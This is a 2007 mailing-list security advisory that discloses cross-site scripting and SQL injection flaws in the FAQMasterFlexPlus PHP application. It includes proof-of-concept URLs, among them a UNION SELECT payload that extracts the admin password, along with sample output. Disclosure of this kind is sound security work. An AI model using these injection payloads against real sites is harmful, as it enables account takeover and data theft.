[Full-disclosure] FAQMasterFlexPlus multiple vulnerabilities

• Security Advisory -

• FAQMasterFlexPlus multiple vulnerabilities -

---

Product: FAQMasterFlexPlus
Version: Latest version is affected, other not tested
Vendor: http://www.netbizcity.com
Affected by: Cross-Site Scripting & SQL injection

I. Introduction.

FaqMasterFlexPlus is a free, database-driven web-based application written
in php for creating and maintaining
Frequently Asked Questions (FAQs) on your web site.
It has language support and features according documentation are: "Allow to
create unlimited categories and unlimited
Questions/Answers and has web-based category and FAQ administration with
Add, Edit, Delete Capability.",

It's free software, released under the GNU General Public Lisence (GPL).
Works with php & mysql and comes bundled in some versions of Fantastico
(Cpanel X).

II. Description

Multiple flaws in FaqMasterFlexPlus have been discovered:

1) Cross Site Scripting:

The script faq.php suffers an XSS bug, specifically the variable $cat_name
it's not properly sanitized,
an attacker exploiting this flaw can perform an XSS attack to access the
targeted user cookies.

All Admin scripts to add/edit/delete categories and add/edit/delete faq
don't parse correctly the user supplied input too.

PoC:
http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]

2) SQL Injection (to exploit this issue it's necesarry magic_quotes_gpc set
to Off in the php.ini file).

All the scripts suffers for sql injections attacks in the querys to the
database.

PoC:
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*

Then get a new line like this:

Q faquser@localhost

or a Proof of Concept to get the admin password:

http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin

Q supersecretpassword

bingo! ;)

Besides password is stored in plain text, this is a big security flaw.

This software is infected with many bugs and must be fully audited for
enforce the security.

III. Timeline

08/05/2007 - Bugs discovered
10/05/2007 - Vendor Contact (No Response)
12/12/2007 - Vendor Contacted Again (No Response)
28/12/2007 - Advisory Disclosure

IV. Credits

Juan Galiana <jgaliana gmail com>

Regards